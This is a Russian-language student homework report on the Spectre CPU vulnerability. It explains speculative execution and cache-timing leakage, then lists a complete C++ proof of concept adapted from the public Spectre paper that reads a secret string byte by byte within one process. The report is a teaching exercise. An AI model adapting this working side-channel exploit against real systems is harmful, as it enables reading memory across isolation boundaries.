САНКТ-ПЕТЕРБУРГСКИЙ НАЦИОНАЛЬНЫЙ ИССЛЕДОВАТЕЛЬСКИЙ УНИВЕРСИТЕТ ИТМО

Дисциплина: Архитектура ЭВМ

Отчет

по домашней работе № 6

«Spectre»

Выполнил: Лымарь Павел Игоревич

студ. гр. М313Д

Санкт-Петербург

2020

Цель работы: Знакомство с аппаратной уязвимостью Spectre.

Инструментарий и требования к работе: C++.

Теоретическая часть

1. Spectre – критическая уязвимость большинства современных процессоров, приводящая к краже данных мошенником путем нарушения изоляции памяти между программами (данные из одной программы могут быть переданы вредоносной). Разбираясь более детально, Spectre путем обмана приложений заставляет их обращаться к произвольным участкам их памяти (спекулятивное выполнение команд), тем самым считывая из нее данные.

   Рассмотрим действие Spectre на примере конкретного кода:

   ```
   if (x < array1_size)
       y = array2[array1[x] * 256];
   ```

   Данный код в начале проверяет, является ли x корректным элементом в массиве. Эта проверка, безусловно важна, т.к. не позволяет нам получить доступ к информации за пределами массива array1.

   Так же эта проверка занимает достаточно много времени, т.к. `array1_size` не находится в кэше, поэтому процессор, вследствие своего устройства, начинает выполнять команду наперед, т.е. ищет элемент памяти `array1[x]` (который мы ранее из-за совей предусмотрительности занесли в кэш) и заносит в кэш элемент `array2[array1[x] * 256]`.

   И только когда процессор проверил условие, он понимает, что его обманули и заканчивает исполнение кода, который не должен был выполнится. Но при этом в кэше до сих пор лежит значение `array2[array1[x] * 256]`, которое злоумышленник использует, чтобы достать значение `array1[x]` (секретного элемента памяти). Например, путем перебора. Будем пробегаться по всем значениям `array2[i * 256]` и если доступ к ней в памяти занял время меньшее

предполагаемого, то, очевидно, данный элемент находится в кэше. А следовательно (вспоминая, что мы делали изначально) мы можем узнать засекреченную информацию памяти `array1[x]`.

От атаки Spectre на данный момент не существует оптимальной защиты, хотя есть определенные наработки. Программное исправление может включать в себя перекомпиляцию программного обеспечения с заменой уязвимых последовательностей кода.

По всей видимости данная проблема будет преследовать пользователей по крайней мере ближайшие несколько лет.

Практическая часть

2. Код основан на официальном коде Spectre (https://spectreattack.com/spectre.pdf). Сама структура получения засекреченного байта остается неизменной. Рассмотрим каким образом официальный сайт Spectre предлагает использовать данную уязвимость.

   Функция readMemoryByte делает несколько вызовов функции victimFunction (5) с валидными значениями, чтобы процессор ожидал далее валидные значения. После вызываем со значением, выходящим из диапазона, процессор совершает ложное предсказание и читает секретный байт, занося его в кэш.

   В конце чтения делаем перебор 0..255 таким образом, чтобы в кэш не попадала лишняя информация. И отслеживаем что именно хранилось в секретной ячейке памяти. Такая атака повторяется несколько раз, что дает ей большую точность.

   Ну и имея функцию readMemoryByte и зная какие ячейки памяти читать, с помощью цикла находим все интересующие нас засекреченные ячейки памяти.

Листинг

Компилятор: gpp.

Файл компилируются с помощью script.bat, необходимые команды, для компилирования вручную можно посмотреть внутри него.

Main.cpp

```
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt", on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif

/* sscanf_s only works in MSVC. sscanf should work with other compilers*/
#ifndef _MSC_VER
#define sscanf_s sscanf
#endif

/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16};
uint8_t unused2[64];
uint8_t array2[256 * 512];

const char* secret;

uint8_t temp = 0; /* Used so compiler won't optimize out victimFunction() */

void victimFunction(size_t x) {
	if (x < array1_size) {
		temp &= array2[array1[x] * 512];
	}
```

```
}

/*********************************************************************
Analysis code
*********************************************************************/
#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */

/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
	static int results[256];
	int tries, i, j, k, mix_i;
	unsigned int junk = 0;
	size_t training_x, x;
	register uint64_t time1, time2;
	volatile uint8_t* addr;

	for (i = 0; i < 256; i++)
		results[i] = 0;
	for (tries = 999; tries > 0; tries--) {
		/* Flush array2[256*(0..255)] from cache */
		for (i = 0; i < 256; i++)
			_mm_clflush(&array2[i * 512]); /* intrinsic for clflush
instruction */

		/* 30 loops: 5 training runs (x=training_x) per attack run
(x=malicious_x) */
		training_x = tries % array1_size;
		for (j = 29; j >= 0; j--) {
			_mm_clflush(&array1_size);
			for (volatile int z = 0; z < 100; z++) {} /* Delay (can also
mfence) */

			/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x
if j%6==0 */
			/* Avoid jumps in case those tip off the branch predictor */
			x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0,
else x=0 */
			x = (x | (x >> 16)); /* Set x=-1 if j%6=0, else x=0 */
			x = training_x ^ (x & (malicious_x ^ training_x));
```

```
                /* Call the victim! */
                victimFunction(x);
        }

        /* Time reads. Order is lightly mixed up to prevent stride prediction
*/
        for (i = 0; i < 256; i++) {
                mix_i = ((i * 167) + 13) & 255;
                addr = &array2[mix_i * 512];
                time1 = __rdtscp(&junk); /* READ TIMER */
                junk = *addr; /* MEMORY ACCESS TO TIME */
                time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE
ELAPSED TIME */
                if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries %
array1_size])
                        results[mix_i]++; /* cache hit - add +1 to score for
this value */
        }

        /* Locate highest & second-highest results results tallies in j/k */
        j = k = -1;
        for (i = 0; i < 256; i++) {
                if (j < 0 || results[i] >= results[j]) {
                        k = j;
                        j = i;
                } else if (k < 0 || results[i] >= results[k]) {
                        k = i;
                }
        }
        if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 &&
results[k] == 0))
                break; /* Clear success if best is > 2*runner-up + 5 or 2/0)
*/
    }
    results[0] ^= junk; /* use junk so code above won't get optimized out*/
    value[0] = (uint8_t)j;
    score[0] = results[j];
    value[1] = (uint8_t)k;
    score[1] = results[k];
}
```

```
int main(int argc, char *args[]) {
	FILE* input = (FILE*)stdout;

	if (argc == 2) {
		secret = args[1];
	} else if (argc == 3) {
		secret = args[1];
		input = fopen(args[2], "w");
		if (input == (FILE*)stdout) {
			printf("File isn't found.\n");
			return 0;
	}
	} else {
		printf("Usage: hw6.exe <data> [<output file>].\n");
	  return 0;
	}

	fprintf(input, "Putting '%s' in memory, address %p\n", secret, (void
*)(secret));
	size_t malicious_x = (size_t)(secret - (char *)array1); /* default for
malicious_x */
	int score[2], len = strlen(secret);
	uint8_t value[2];

	for (size_t i = 0; i < sizeof(array2); i++)
		array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero
pages */

	fprintf(input, "Reading %d bytes:\n", len);
	while (--len >= 0) {
		fprintf(input, "Reading at malicious_x = %p... ", (void
*)malicious_x);
		readMemoryByte(malicious_x++, value, score);
		fprintf(input, "%s: ", (score[0] >= 2 * score[1] ? "Success" :
"Unclear"));
		fprintf(input, "0x%02X='%c' score=%d ", value[0],
			(value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
		if (score[1] > 0)
```

```
                    fprintf(input, "(second best: 0x%02X='%c' score=%d)",
value[1],
                                (value[1] > 31 && value[1] < 127 ? value[1] : '?'),
                                score[1]);
              fprintf(input, "\n");
       }
       #ifdef _MSC_VER
              fprintf(input, "Press ENTER to exit\n");
              getchar();   /* Pause Windows console */
       #endif

       if (input != (FILE*)stdout) {
              fclose(input);
       }

       return (0);
}
```